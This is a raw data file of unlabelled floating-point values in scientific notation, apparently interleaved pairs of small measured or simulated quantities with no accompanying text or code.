5.46309e-06
4.61198e-07
5.4661e-06
2.01946e-07
5.45693e-06
-2.64927e-08
5.44702e-06
-1.19176e-07
5.43904e-06
-1.3435e-08
5.43421e-06
5.21883e-08
5.43315e-06
2.22901e-07
5.43535e-06
3.3601e-07
5.42908e-06
8.37671e-08
5.41771e-06
-7.73729e-09
6.20109e-08
5.64813e-06
1.5359e-07
5.6636e-06
1.6573e-07
5.67296e-06
1.62447e-07
5.68233e-06
1.39904e-07
5.69215e-06
1.27526e-07
5.69504e-06
1.14776e-07
5.69414e-06
8.81688e-08
5.69392e-06
6.85879e-08
5.69201e-06
6.34767e-08
5.68939e-06
5.30538e-08
5.69032e-06
5.42597e-08
5.69263e-06
6.95599e-08
5.69463e-06
8.41167e-08
5.69753e-06
8.70663e-08
5.70153e-06
8.77207e-08
5.70474e-06
9.6273e-08
5.70551e-06
9.68645e-08
5.70561e-06
9.61838e-08
5.70626e-06
1.03204e-07
5.70742e-06
1.10731e-07
5.7111e-06
1.35124e-07
5.71564e-06
1.46264e-07
5.72008e-06
1.54358e-07
5.72384e-06
1.56954e-07
5.72477e-06
1.4334e-07
5.72574e-06
1.45365e-07
5.72601e-06
1.42374e-07
5.7261e-06
1.42493e-07
5.72765e-06
1.57494e-07
5.728e-06
1.48969e-07
5.72965e-06
1.62651e-07
5.73191e-06
1.6801e-07
5.7345e-06
1.72635e-07
5.73719e-06
1.72415e-07
5.73871e-06
1.49375e-07
5.73956e-06
1.44473e-07
5.73776e-06
1.1079e-07
5.73372e-06
9.82181e-08
5.72877e-06
8.31647e-08
5.72406e-06
9.89486e-08
5.72221e-06
1.22706e-07
5.72551e-06
1.71289e-07
5.7293e-06
1.89163e-07
5.73056e-06
1.67966e-07
5.73224e-06
1.76036e-07
5.73001e-06
1.2752e-07
5.72701e-06
1.14528e-07
5.72558e-06
1.08523e-07
5.72373e-06
8.7871e-08
5.71961e-06
6.64287e-08
5.71652e-06
5.11193e-08
5.71543e-06
8.45025e-08
5.71367e-06
6.15494e-08
5.71456e-06
1.01419e-07
5.71359e-06
8.75595e-08
5.7114e-06
8.65909e-08
5.71189e-06
1.34912e-07
5.70926e-06
9.8796e-08
5.70872e-06
1.3694e-07
5.71152e-06
1.55806e-07
5.70997e-06
1.00414e-07
5.70931e-06
7.2522e-08
5.70672e-06
2.78654e-08
5.69684e-06
-7.19782e-08
5.68535e-06
-5.08902e-08
5.68107e-06
2.92746e-08
5.68746e-06
1.91576e-07
5.6981e-06
2.59653e-07
5.70272e-06
1.75563e-07
5.70247e-06
1.1662e-07
5.69356e-06
-2.75741e-08
5.69025e-06
-1.14844e-08
5.69563e-06
1.04186e-07
5.69843e-06
5.22761e-08
5.7035e-06
1.08784e-07
5.70774e-06
8.39217e-08
5.70915e-06
2.14082e-08
5.71079e-06
9.88018e-09
5.71326e-06
-1.95193e-08
5.72199e-06
1.23865e-07
5.72572e-06
1.2865e-07
5.71777e-06
-3.182e-08
5.71875e-06
1.78371e-07
5.72993e-06
2.97761e-07
5.73812e-06
2.46711e-07
5.73828e-06
1.66219e-07
5.72685e-06
2.20799e-08
5.71019e-06
1.92604e-08
5.71182e-06
2.54696e-07
5.72413e-06
4.48886e-07
5.7272e-06
1.9888e-07
5.71799e-06
-1.72869e-08
5.70814e-06
-1.09325e-07
5.69975e-06
-5.0409e-09
5.69448e-06
5.74489e-08
5.69325e-06
2.24137e-07
5.69532e-06
3.33941e-07
5.68935e-06
8.97356e-08
5.67814e-06
3.46728e-09
6.12969e-08
5.91771e-06
1.39477e-07
5.93384e-06
1.496e-07
5.94404e-06
1.52244e-07
5.95193e-06
1.3202e-07
5.9618e-06
1.17657e-07
5.96618e-06
1.10396e-07
5.96548e-06
8.88659e-08
5.96556e-06
6.85079e-08
5.96458e-06
6.44547e-08
5.96204e-06
5.55995e-08
5.96269e-06
5.36119e-08
5.96518e-06
6.70642e-08
5.96722e-06
8.20742e-08
5.96973e-06
8.4556e-08
5.97358e-06
8.38715e-08
5.97706e-06
9.2796e-08
5.97812e-06
9.58073e-08
5.97837e-06
9.59319e-08
5.97925e-06
1.02326e-07
5.98055e-06
1.09425e-07
5.98412e-06
1.31556e-07
5.98846e-06
1.4192e-07
5.99274e-06
1.50081e-07
5.99645e-06
1.53249e-07
5.99758e-06
1.42202e-07
5.99875e-06
1.44197e-07
5.99924e-06
1.41887e-07
5.99959e-06
1.42142e-07
6.00135e-06
1.55737e-07
6.00197e-06
1.48343e-07
6.00388e-06
1.60748e-07
6.00624e-06
1.6565e-07
6.00878e-06
1.70091e-07
6.0113e-06
1.69891e-07
6.01254e-06
1.4814e-07
6.01308e-06
1.43931e-07
6.01102e-06
1.12857e-07
6.00695e-06
1.02279e-07
6.00205e-06
8.80698e-08
5.99751e-06
1.03486e-07
5.99574e-06
1.24481e-07
5.99885e-06
1.68175e-07
6.00271e-06
1.85306e-07
6.00409e-06
1.66583e-07
6.00601e-06
1.74113e-07
6.00406e-06
1.2947e-07
6.00134e-06
1.17251e-07
5.9999e-06
1.09961e-07
5.99791e-06
8.9869e-08
5.99373e-06
7.06081e-08
5.99021e-06
5.46397e-08
5.98878e-06
8.59301e-08
5.98668e-06
6.36479e-08
5.98712e-06
1.00983e-07
5.98606e-06
8.86163e-08
5.98404e-06
8.86053e-08
5.98486e-06
1.34097e-07
5.98259e-06
1.01068e-07
5.98234e-06
1.37192e-07
5.9853e-06
1.52841e-07
5.98375e-06
1.01962e-07
5.98268e-06
7.35899e-08
5.97933e-06
3.12159e-08
5.9691e-06
-6.17408e-08
5.95785e-06
-3.96405e-08
5.95366e-06
3.34621e-08
5.96006e-06
1.85173e-07
5.97093e-06
2.48786e-07
5.97557e-06
1.70923e-07
5.97576e-06
1.16428e-07
5.96703e-06
-1.88431e-08
5.96298e-06
-7.42843e-09
5.96788e-06
9.92855e-08
5.97054e-06
4.96093e-08
5.9759e-06
1.03426e-07
5.9809e-06
7.89256e-08
5.98278e-06
1.95221e-08
5.98433e-06
8.33913e-09
5.98617e-06
-2.13692e-08
5.99486e-06
1.15184e-07
5.99967e-06
1.23834e-07
5.99222e-06
-2.43649e-08
5.99311e-06
1.77474e-07
6.00381e-06
2.87065e-07
6.01106e-06
2.39461e-07
6.01108e-06
1.66202e-07
6.00052e-06
3.26366e-08
5.98456e-06
3.52172e-08
5.98601e-06
2.53248e-07
5.99794e-06
4.36956e-07
6.00091e-06
1.95909e-07
5.99164e-06
-8.01699e-09
5.98191e-06
-9.95901e-08
5.97324e-06
3.62828e-09
5.96772e-06
6.29671e-08
5.96647e-06
2.25391e-07
5.96824e-06
3.3217e-07
5.96237e-06
9.56001e-08
5.95131e-06
1.45323e-08
6.06129e-08
6.20057e-06
1.26929e-07
6.21656e-06
1.33607e-07
6.22816e-06
1.40643e-07
6.23499e-06
1.2519e-07
6.24423e-06
1.08417e-07
6.25007e-06
1.04558e-07
6.24984e-06
8.90914e-08
6.25e-06
6.83572e-08
6.25002e-06
6.44347e-08
6.24773e-06
5.78822e-08
6.24806e-06
5.32816e-08
6.25079e-06
6.43367e-08
6.25298e-06
7.98882e-08
6.2551e-06
8.24312e-08
6.25865e-06
8.03206e-08
6.26232e-06
8.9127e-08
6.2637e-06
9.44243e-08
6.26408e-06
9.55568e-08
6.26513e-06
1.01277e-07
6.2666e-06
1.07954e-07
6.27008e-06
1.28076e-07
6.27428e-06
1.37716e-07
6.27848e-06
1.45889e-07
6.28216e-06
1.49563e-07
6.28355e-06
1.40814e-07
6.28494e-06
1.42804e-07
6.28563e-06
1.41196e-07
6.28621e-06
1.41565e-07
6.28809e-06
1.53858e-07
6.2889e-06
1.47531e-07
6.29095e-06
1.58705e-07
6.29335e-06
1.63243e-07
6.29587e-06
1.67577e-07
6.29825e-06
1.67509e-07
6.29931e-06
1.47082e-07
6.29966e-06
1.43581e-07
6.29745e-06
1.15061e-07
6.29343e-06
1.06299e-07
6.2886e-06
9.29051e-08
6.2842e-06
1.07886e-07
6.28242e-06
1.26261e-07
6.28528e-06
1.65314e-07
6.2891e-06
1.81479e-07
6.2906e-06
1.65088e-07
6.29271e-06
1.72e-07
6.29104e-06
1.31144e-07
6.28859e-06
1.19696e-07
6.28715e-06
1.11407e-07
6.28505e-06
9.19696e-08
6.28084e-06
7.48103e-08
6.27702e-06
5.8466e-08
6.27528e-06
8.767e-08
6.27291e-06
6.60202e-08
6.27298e-06
1.00906e-07
6.2718e-06
8.98023e-08
6.26987e-06
9.05349e-08
6.27088e-06
1.33089e-07
6.26892e-06
1.03024e-07
6.2689e-06
1.37211e-07
6.27193e-06
1.49809e-07
6.2704e-06
1.03497e-07
6.26906e-06
7.49266e-08
6.26513e-06
3.5143e-08
6.25466e-06
-5.12634e-08
6.24359e-06
-2.85742e-08
6.23943e-06
3.7622e-08
6.24574e-06
1.78858e-07
6.25667e-06
2.37856e-07
6.26134e-06
1.66257e-07
6.26192e-06
1.15851e-07
6.25351e-06
-1.04372e-08
6.24901e-06
-2.93173e-09
6.25347e-06
9.48299e-08
6.25603e-06
4.70458e-08
6.26157e-06
9.78948e-08
6.26713e-06
7.33651e-08
6.26952e-06
1.71326e-08
6.27097e-06
6.88194e-09
6.27228e-06
-2.26785e-08
6.28082e-06
1.06646e-07
6.28643e-06
1.18221e-07
6.27966e-06
-1.75907e-08
6.2807e-06
1.76431e-07
6.29089e-06
2.7688e-07
6.29725e-06
2.33098e-07
6.29695e-06
1.66504e-07
6.28711e-06
4.2476e-08
6.27212e-06
5.02081e-08
6.27359e-06
2.51773e-07
6.28504e-06
4.25506e-07
6.28782e-06
1.93131e-07
6.27846e-06
1.34377e-09
6.26885e-06
-8.99767e-08
6.25999e-06
1.24784e-08
6.25433e-06
6.86297e-08
6.25317e-06
2.26557e-07
6.25457e-06
3.30767e-07
6.24866e-06
1.01506e-07
6.2377e-06
2.54968e-08
5.99715e-08
6.49763e-06
1.15655e-07
6.51261e-06
1.18626e-07
6.52558e-06
1.27666e-07
6.53225e-06
1.18519e-07
6.54028e-06
1.00386e-07
6.54727e-06
9.75688e-08
6.54787e-06
8.84987e-08
6.54792e-06
6.83048e-08
6.54888e-06
6.34733e-08
6.54711e-06
5.96511e-08
6.54702e-06
5.33685e-08
6.54996e-06
6.13989e-08
6.55246e-06
7.73934e-08
6.55422e-06
8.06667e-08
6.55737e-06
7.71765e-08
6.56116e-06
8.53357e-08
6.56294e-06
9.26417e-08
6.56346e-06
9.50383e-08
6.56461e-06
1.00127e-07
6.56625e-06
1.06308e-07
6.56967e-06
1.24657e-07
6.57373e-06
1.3366e-07
6.57788e-06
1.41739e-07
6.58158e-06
1.4586e-07
6.58322e-06
1.39173e-07
6.58486e-06
1.41171e-07
6.58575e-06
1.40304e-07
6.58651e-06
1.40806e-07
6.58845e-06
1.51919e-07
6.58939e-06
1.46588e-07
6.5915e-06
1.56593e-07
6.59392e-06
1.60826e-07
6.59641e-06
1.65081e-07
6.59868e-06
1.65243e-07
6.59963e-06
1.46135e-07
6.59986e-06
1.43343e-07
6.59762e-06
1.173e-07
6.59371e-06
1.10212e-07
6.589e-06
9.76191e-08
6.58474e-06
1.1214e-07
6.58293e-06
1.28075e-07
6.58549e-06
1.62757e-07
6.58918e-06
1.77782e-07
6.59074e-06
1.63528e-07
6.59297e-06
1.69772e-07
6.59155e-06
1.32569e-07
6.58937e-06
1.21877e-07
6.58791e-06
1.12868e-07
6.58574e-06
9.41388e-08
6.58156e-06
7.89865e-08
6.57756e-06
6.24707e-08
6.57556e-06
8.96652e-08
6.57297e-06
6.86056e-08
6.57277e-06
1.01114e-07
6.57144e-06
9.11264e-08
6.56953e-06
9.24452e-08
6.5706e-06
1.32018e-07
6.5689e-06
1.0473e-07
6.56906e-06
1.37052e-07
6.57207e-06
1.46795e-07
6.57055e-06
1.05017e-07
6.56904e-06
7.64356e-08
6.56471e-06
3.94763e-08
6.55413e-06
-4.06868e-08
6.54326e-06
-1.76983e-08
6.5391e-06
4.17752e-08
6.54524e-06
1.72721e-07
6.55607e-06
2.27021e-07
6.56073e-06
1.61604e-07
6.56163e-06
1.14952e-07
6.55364e-06
-2.45468e-09
6.54898e-06
1.73083e-09
6.55307e-06
9.07408e-08
6.55555e-06
4.45653e-08
6.56117e-06
9.22737e-08
6.56709e-06
6.74516e-08
6.56992e-06
1.43016e-08
6.57135e-06
5.44514e-09
6.57226e-06
-2.35846e-08
6.58058e-06
9.83303e-08
6.5867e-06
1.12098e-07
6.58065e-06
-1.15425e-08
6.582e-06
1.75085e-07
6.59171e-06
2.67162e-07
6.5973e-06
2.27511e-07
6.59661e-06
1.67192e-07
6.58732e-06
5.1768e-08
6.57334e-06
6.4187e-08
6.57499e-06
2.50127e-07
6.58596e-06
4.14538e-07
6.5885e-06
1.90591e-07
6.57903e-06
1.08056e-08
6.56951e-06
-8.04568e-08
6.56054e-06
2.14483e-08
6.55479e-06
7.43862e-08
6.55375e-06
2.2759e-07
6.55479e-06
3.2973e-07
6.54877e-06
1.07529e-07
6.53788e-06
3.63868e-08
5.93723e-08
6.80964e-06
1.05236e-07
6.82305e-06
1.05222e-07
6.83687e-06
1.13839e-07
6.84424e-06
1.11152e-07
6.85088e-06
9.37506e-08
6.85839e-06
9.00525e-08
6.86014e-06
8.67551e-08
6.86007e-06
6.83726e-08
6.86178e-06
6.17642e-08
6.86083e-06
6.05945e-08
6.86028e-06
5.39197e-08
6.86325e-06
5.84354e-08
6.86626e-06
7.43761e-08
6.86776e-06
7.91678e-08
6.87036e-06
7.45753e-08
6.8742e-06
8.15027e-08
6.87645e-06
9.03909e-08
6.87718e-06
9.43079e-08
6.87837e-06
9.8934e-08
6.88019e-06
1.04489e-07
6.88361e-06
1.21238e-07
6.8875e-06
1.29769e-07
6.89159e-06
1.3765e-07
6.89533e-06
1.42118e-07
6.8972e-06
1.37303e-07
6.89906e-06
1.39316e-07
6.90016e-06
1.39198e-07
6.90108e-06
1.39889e-07
6.90304e-06
1.49959e-07
6.90408e-06
1.45548e-07
6.90621e-06
1.54458e-07
6.90862e-06
1.58417e-07
6.91111e-06
1.62592e-07
6.91329e-06
1.63069e-07
6.91417e-06
1.45254e-07
6.91434e-06
1.43167e-07
6.91213e-06
1.19514e-07
6.90837e-06
1.13969e-07
6.90384e-06
1.02148e-07
6.89978e-06
1.16207e-07
6.89794e-06
1.29914e-07
6.90016e-06
1.6053e-07
6.90366e-06
1.7429e-07
6.90522e-06
1.61961e-07
6.90749e-06
1.67506e-07
6.90627e-06
1.33791e-07
6.90432e-06
1.23821e-07
6.90284e-06
1.1435e-07
6.90063e-06
9.63482e-08
6.89653e-06
8.30924e-08
6.89245e-06
6.65462e-08
6.89027e-06
9.18488e-08
6.88752e-06
7.13542e-08
6.88708e-06
1.01557e-07
6.88563e-06
9.25736e-08
6.88371e-06
9.43673e-08
6.88475e-06
1.30979e-07
6.88322e-06
1.06255e-07
6.8835e-06
1.36774e-07
6.88643e-06
1.43867e-07
6.88491e-06
1.06528e-07
6.88329e-06
7.80592e-08
6.87869e-06
4.40769e-08
6.86816e-06
-3.01531e-08
6.85752e-06
-7.05794e-09
6.85338e-06
4.59132e-08
6.85927e-06
1.66832e-07
6.86988e-06
2.16412e-07
6.87447e-06
1.5701e-07
6.87562e-06
1.13798e-07
6.86812e-06
5.05452e-09
6.8635e-06
6.34937e-09
6.8673e-06
8.69324e-08
6.86972e-06
4.21544e-08
6.87537e-06
8.66204e-08
6.88145e-06
6.13734e-08
6.88461e-06
1.11403e-08
6.8861e-06
3.9564e-09
6.88676e-06
-2.42486e-08
6.89481e-06
9.02774e-08
6.9012e-06
1.05717e-07
6.89582e-06
-6.17071e-09
6.89755e-06
1.73361e-07
6.90687e-06
2.57842e-07
6.91183e-06
2.22546e-07
6.91078e-06
1.68244e-07
6.90188e-06
6.06644e-08
6.88882e-06
7.72481e-08
6.89071e-06
2.48242e-07
6.90125e-06
4.03992e-07
6.90356e-06
1.88282e-07
6.89401e-06
2.03596e-08
6.88454e-06
-7.09875e-08
6.87549e-06
3.05007e-08
6.86963e-06
8.02392e-08
6.86872e-06
2.28507e-07
6.86944e-06
3.2901e-07
6.86329e-06
1.13678e-07
6.85247e-06
4.72035e-08
5.88075e-08
7.13718e-06
9.54843e-08
7.1489e-06
9.35028e-08
7.16285e-06
9.98873e-08
7.17135e-06
1.02653e-07
7.17685e-06
8.82494e-08
7.18414e-06
8.27628e-08
7.18724e-06
8.36618e-08
7.18726e-06
6.8352e-08
7.18937e-06
5.96528e-08
7.18952e-06
6.04457e-08
7.18863e-06
5.48023e-08
7.19128e-06
5.57903e-08
7.19495e-06
7.07089e-08
7.19643e-06
7.76833e-08
7.19837e-06
7.26354e-08
7.20211e-06
7.77597e-08
7.20489e-06
8.76109e-08
7.20595e-06
9.32573e-08
7.20714e-06
9.77387e-08
7.20907e-06
1.02557e-07
7.21256e-06
1.17747e-07
7.2163e-06
1.26029e-07
7.22026e-06
1.33691e-07
7.22405e-06
1.38331e-07
7.22614e-06
1.35211e-07
7.22818e-06
1.37275e-07
7.22952e-06
1.37863e-07
7.23058e-06
1.38823e-07
7.23254e-06
1.48007e-07
7.23366e-06
1.44424e-07
7.23581e-06
1.52312e-07
7.23819e-06
1.56034e-07
7.24067e-06
1.60109e-07
7.24278e-06
1.60964e-07
7.24362e-06
1.44416e-07
7.24376e-06
1.43021e-07
7.24162e-06
1.21658e-07
7.23806e-06
1.17529e-07
7.23376e-06
1.06442e-07
7.22993e-06
1.20043e-07
7.2281e-06
1.31743e-07
7.23e-06
1.58628e-07
7.23324e-06
1.71053e-07
7.23475e-06
1.60443e-07
7.23699e-06
1.65266e-07
7.23594e-06
1.34848e-07
7.2342e-06
1.25561e-07
7.23268e-06
1.15864e-07
7.23045e-06
9.85813e-08
7.22645e-06
8.70957e-08
7.22238e-06
7.06121e-08
7.22007e-06
9.41552e-08
7.21721e-06
7.42209e-08
7.21657e-06
1.02198e-07
7.21502e-06
9.41231e-08
7.21307e-06
9.63115e-08
7.21401e-06
1.30037e-07
7.21261e-06
1.07657e-07
7.21295e-06
1.36431e-07
7.21574e-06
1.41078e-07
7.21423e-06
1.08038e-07
7.21252e-06
7.97712e-08
7.20775e-06
4.88454e-08
7.19738e-06
-1.97828e-08
7.18704e-06
3.28691e-09
7.18294e-06
5.00095e-08
7.18854e-06
1.61237e-07
7.19882e-06
2.06129e-07
7.20331e-06
1.52518e-07
7.20466e-06
1.12446e-07
7.19764e-06
1.20764e-08
7.19321e-06
1.07856e-08
7.1968e-06
8.3334e-08
7.19915e-06
3.98051e-08
7.2048e-06
8.09739e-08
7.2109e-06
5.52737e-08
7.21427e-06
7.76797e-09
7.21587e-06
2.36098e-09
7.21644e-06
-2.48193e-08
7.22422e-06
8.24977e-08
7.23067e-06
9.92685e-08
7.22588e-06
-1.38352e-09
7.22799e-06
1.71247e-07
7.23698e-06
2.48852e-07
7.24148e-06
2.18044e-07
7.24015e-06
1.69584e-07
7.23154e-06
6.92743e-08
7.21924e-06
8.95442e-08
7.22137e-06
2.4611e-07
7.23157e-06
3.93795e-07
7.23368e-06
1.86166e-07
7.22406e-06
2.99815e-08
7.2146e-06
-6.15247e-08
7.20549e-06
3.96115e-08
7.1995e-06
8.62234e-08
7.19865e-06
2.29357e-07
7.19912e-06
3.28541e-07
7.19289e-06
1.19916e-07
7.18216e-06
5.79246e-08
5.82671e-08
7.48101e-06
8.58803e-08
7.4913e-06
8.32116e-08
7.5045e-06
8.66948e-08
7.514e-06
9.31523e-08
7.51883e-06
8.34189e-08
7.52539e-06
7.61981e-08
7.52977e-06
7.9283e-08
7.53026e-06
6.78631e-08
7.53241e-06
5.75003e-08
7.53373e-06
5.91281e-08
7.5329e-06
5.56323e-08
7.53487e-06
5.38196e-08
7.53906e-06
6.65188e-08
7.54091e-06
7.58328e-08
7.54221e-06
7.13385e-08
7.54562e-06
7.43468e-08
7.54891e-06
8.43242e-08
7.55042e-06
9.17408e-08
7.55164e-06
9.652e-08
7.55361e-06
1.00594e-07
7.55721e-06
1.14142e-07
7.56089e-06
1.22355e-07
7.56464e-06
1.29932e-07
7.56841e-06
1.34563e-07
7.57073e-06
1.32892e-07
7.57292e-06
1.35081e-07
7.57448e-06
1.36305e-07
7.57573e-06
1.37577e-07
7.57767e-06
1.46062e-07
7.57886e-06
1.43238e-07
7.58101e-06
1.50159e-07
7.58336e-06
1.53681e-07
7.58583e-06
1.57639e-07
7.58789e-06
1.58906e-07
7.58871e-06
1.43598e-07
7.58885e-06
1.42882e-07
7.58679e-06
1.2372e-07
7.58344e-06
1.20879e-07
7.57943e-06
1.10453e-07
7.57587e-06
1.23601e-07
7.57409e-06
1.33526e-07
7.57568e-06
1.57029e-07
7.57865e-06
1.68088e-07
7.58008e-06
1.59017e-07
7.58224e-06
1.63106e-07
7.5813e-06
1.3578e-07
7.57974e-06
1.27123e-07
7.57819e-06
1.17414e-07
7.57595e-06
1.00826e-07
7.57206e-06
9.09795e-08
7.56805e-06
7.4621e-08
7.56567e-06
9.65338e-08
7.56273e-06
7.7169e-08
7.56192e-06
1.03006e-07
7.56029e-06
9.57479e-08
7.55834e-06
9.8269e-08
7.55915e-06
1.29225e-07
7.55782e-06
1.08981e-07
7.55818e-06
1.36074e-07
7.56079e-06
1.3847e-07
7.55927e-06
1.09554e-07
7.55749e-06
8.15569e-08
7.55262e-06
5.37129e-08
7.54251e-06
-9.67083e-09
7.53252e-06
1.32798e-08
7.52849e-06
5.40359e-08
7.53375e-06
1.55971e-07
7.54364e-06
1.96245e-07
7.548e-06
1.48154e-07
7.54951e-06
1.10939e-07
7.54297e-06
1.86151e-08
7.5388e-06
1.49611e-08
7.54223e-06
7.9899e-08
7.54452e-06
3.75145e-08
7.55013e-06
7.53619e-08
7.55616e-06
4.92508e-08
7.55964e-06
4.28607e-09
7.56137e-06
6.31202e-10
7.56196e-06
-2.54088e-08
7.56947e-06
7.49824e-08
7.57587e-06
9.28757e-08
7.57157e-06
2.91346e-09
7.57405e-06
1.68767e-07
7.58276e-06
2.4014e-07
7.58693e-06
2.13871e-07
7.5854e-06
1.71115e-07
7.57702e-06
7.76565e-08
7.56535e-06
1.01219e-07
7.5677e-06
2.43759e-07
7.57761e-06
3.83885e-07
7.57958e-06
1.84197e-07
7.56992e-06
3.96382e-08
7.56043e-06
-5.20329e-08
7.55128e-06
4.8761e-08
7.54512e-06
9.23811e-08
7.54428e-06
2.30202e-07
7.54456e-06
3.28259e-07
7.53829e-06
1.26188e-07
7.5277e-06
6.85125e-08
5.77433e-08
7.84225e-06
7.40953e-08
7.85163e-06
7.38342e-08
7.86275e-06
7.55768e-08
7.87243e-06
8.34694e-08
7.87735e-06
7.84997e-08
7.88314e-06
7.04053e-08
7.88846e-06
7.39676e-08
7.88977e-06
6.65459e-08
7.8918e-06
5.54726e-08
7.89408e-06
5.68489e-08
7.8938e-06
5.59156e-08
7.89495e-06
5.26648e-08
7.89923e-06
6.22451e-08
7.90175e-06
7.3305e-08
7.9027e-06
7.03925e-08
7.90556e-06
7.1487e-08
7.9092e-06
8.06786e-08
7.91132e-06
8.96299e-08
7.91266e-06
9.51736e-08
7.91455e-06
9.87052e-08
7.91822e-06
1.1047e-07
7.92195e-06
1.18623e-07
7.92554e-06
1.2635e-07
7.92918e-06
1.30924e-07
7.9317e-06
1.30371e-07
7.93404e-06
1.32736e-07
7.93578e-06
1.34565e-07
7.93722e-06
1.36144e-07
7.93918e-06
1.44095e-07
7.94042e-06
1.41996e-07
7.9426e-06
1.47987e-07
7.94493e-06
1.51349e-07
7.94737e-06
1.55202e-07
7.94939e-06
1.56886e-07
7.9502e-06
1.42783e-07
7.95036e-06
1.42722e-07
7.94842e-06
1.25665e-07
7.94528e-06
1.24015e-07
7.94156e-06
1.14171e-07
7.93831e-06
1.26855e-07
7.93661e-06
1.35225e-07
7.93794e-06
1.55704e-07
7.94063e-06
1.65394e-07
7.94194e-06
1.57709e-07
7.94398e-06
1.61064e-07
7.94315e-06
1.3661e-07
7.94175e-06
1.28526e-07
7.94016e-06
1.19001e-07
7.93792e-06
1.03071e-07
7.93417e-06
9.47309e-08
7.93024e-06
7.85471e-08
7.92782e-06
9.89505e-08
7.92482e-06
8.01769e-08
7.92386e-06
1.03965e-07
7.92217e-06
9.74312e-08
7.92021e-06
1.00229e-07
7.92089e-06
1.2855e-07
7.91962e-06
1.10246e-07
7.91997e-06
1.35732e-07
7.92236e-06
1.36072e-07
7.92083e-06
1.11085e-07
7.91898e-06
8.34119e-08
7.91405e-06
5.86391e-08
7.90426e-06
1.18629e-10
7.89467e-06
2.28721e-08
7.89074e-06
5.79628e-08
7.89566e-06
1.51053e-07
7.9051e-06
1.86808e-07
7.90932e-06
1.43937e-07
7.91095e-06
1.09307e-07
7.90488e-06
2.46794e-08
7.90101e-06
1.88347e-08
7.90431e-06
7.66016e-08
7.90654e-06
3.52853e-08
7.91209e-06
6.98091e-08
7.91797e-06
4.33678e-08
7.92149e-06
7.69727e-10
7.92336e-06
-1.2385e-09
7.92403e-06
-2.60832e-08
7.93129e-06
6.77204e-08
7.93756e-06
8.66097e-08
7.93368e-06
6.79149e-09
7.9365e-06
1.6595e-07
7.94496e-06
2.31677e-07
7.9489e-06
2.09929e-07
7.94727e-06
1.72749e-07
7.9391e-06
8.58259e-08
7.92795e-06
1.12367e-07
7.93048e-06
2.41226e-07
7.94014e-06
3.74225e-07
7.942e-06
1.82338e-07
7.93235e-06
4.92931e-08
7.9228e-06
-4.24893e-08
7.91364e-06
5.7928e-08
7.90727e-06
9.87448e-08
7.90638e-06
2.31093e-07
7.90653e-06
3.28114e-07
7.90027e-06
1.32443e-07
7.88986e-06
7.89232e-08
5.72323e-08
8.22471e-06
6.51476e-08
8.23041e-06
6.81407e-08
8.2383e-06
6.76861e-08
8.24738e-06
7.43863e-08
8.25303e-06
7.28536e-08
8.25854e-06
6.48958e-08
8.26435e-06
6.81543e-08
8.26651e-06
6.43909e-08
8.26838e-06
5.35976e-08
8.27121e-06
5.40156e-08
8.27193e-06
5.51977e-08
8.27257e-06
5.2028e-08
8.27637e-06
5.84455e-08
8.27957e-06
7.01043e-08
8.28062e-06
6.93377e-08
8.28285e-06
6.92577e-08
8.28652e-06
7.70136e-08
8.28924e-06
8.69078e-08
8.29092e-06
9.34988e-08
8.2927e-06
9.6924e-08
8.29629e-06
1.06872e-07
8.30018e-06
1.14737e-07
8.3037e-06
1.22828e-07
8.30712e-06
1.27509e-07
8.30976e-06
1.27725e-07
8.3123e-06
1.30199e-07
8.31422e-06
1.3265e-07
8.31583e-06
1.34528e-07
8.31787e-06
1.42057e-07
8.31916e-06
1.40708e-07
8.32134e-06
1.45808e-07
8.32366e-06
1.49022e-07
8.32605e-06
1.52813e-07
8.32803e-06
1.54913e-07
8.32886e-06
1.41949e-07
8.32907e-06
1.42517e-07
8.32725e-06
1.27478e-07
8.32434e-06
1.26932e-07
8.32092e-06
1.17582e-07
8.31801e-06
1.29771e-07
8.31642e-06
1.36811e-07
8.3175e-06
1.54622e-07
8.31995e-06
1.62952e-07
8.32113e-06
1.56519e-07
8.32302e-06
1.59173e-07
8.32226e-06
1.37374e-07
8.321e-06
1.29785e-07
8.31939e-06
1.20614e-07
8.31716e-06
1.053e-07
8.31355e-06
9.83385e-08
8.30973e-06
8.23709e-08
8.3073e-06
1.01376e-07
8.30427e-06
8.32114e-08
8.30317e-06
1.05058e-07
8.30144e-06
9.91696e-08
8.29947e-06
1.02196e-07
8.29999e-06
1.28024e-07
8.29877e-06
1.11474e-07
8.29908e-06
1.35423e-07
8.30126e-06
1.33883e-07
8.29974e-06
1.12605e-07
8.29784e-06
8.53155e-08
8.29288e-06
6.36007e-08
8.28343e-06
9.56798e-09
8.27425e-06
3.20519e-08
8.27045e-06
6.1767e-08
8.27502e-06
1.4648e-07
8.28399e-06
1.77834e-07
8.28806e-06
1.39875e-07
8.28979e-06
1.07576e-07
8.28418e-06
3.02871e-08
8.28062e-06
2.23962e-08
8.28379e-06
7.3432e-08
8.28595e-06
3.31188e-08
8.29143e-06
6.43323e-08
8.29713e-06
3.7667e-08
8.30062e-06
-2.72109e-09
8.30262e-06
-3.2359e-09
8.30341e-06
-2.68789e-08
8.31043e-06
6.07024e-08
8.31653e-06
8.05144e-08
8.31302e-06
1.03006e-08
8.31615e-06
1.62823e-07
8.32438e-06
2.23441e-07
8.32816e-06
2.06152e-07
8.32649e-06
1.74421e-07
8.31854e-06
9.37708e-08
8.30788e-06
1.2303e-07
8.31057e-06
2.38536e-07
8.32e-06
3.64795e-07
8.32176e-06
1.80574e-07
8.31215e-06
5.89114e-08
8.30254e-06
-3.28828e-08
8.29338e-06
6.70858e-08
8.2868e-06
1.05331e-07
8.28582e-06
2.32068e-07
8.28586e-06
3.28071e-07
8.27966e-06
1.38644e-07
8.26947e-06
8.91129e-08
5.67337e-08
8.62474e-06
5.90961e-08
8.62735e-06
6.5527e-08
8.63234e-06
6.26931e-08
8.64045e-06
6.6278e-08
8.64659e-06
6.67119e-08
8.65231e-06
5.91777e-08
8.65837e-06
6.20942e-08
8.66121e-06
6.15567e-08
8.66306e-06
5.17391e-08
8.6661e-06
5.09785e-08
8.66785e-06
5.34488e-08
8.66851e-06
5.13669e-08
8.67145e-06
5.55065e-08
8.67497e-06
6.65894e-08
8.67659e-06
6.77104e-08
8.67846e-06
6.73896e-08
8.68181e-06
7.36632e-08
8.68498e-06
8.3741e-08
8.68718e-06
9.12962e-08
8.68895e-06
9.51596e-08
8.69226e-06
1.03554e-07
8.69627e-06
1.10732e-07
8.69993e-06
1.19166e-07
8.70312e-06
1.24322e-07
8.70573e-06
1.25111e-07
8.70848e-06
1.27456e-07
8.71059e-06
1.30532e-07
8.71234e-06
1.32782e-07
8.71449e-06
1.39909e-07
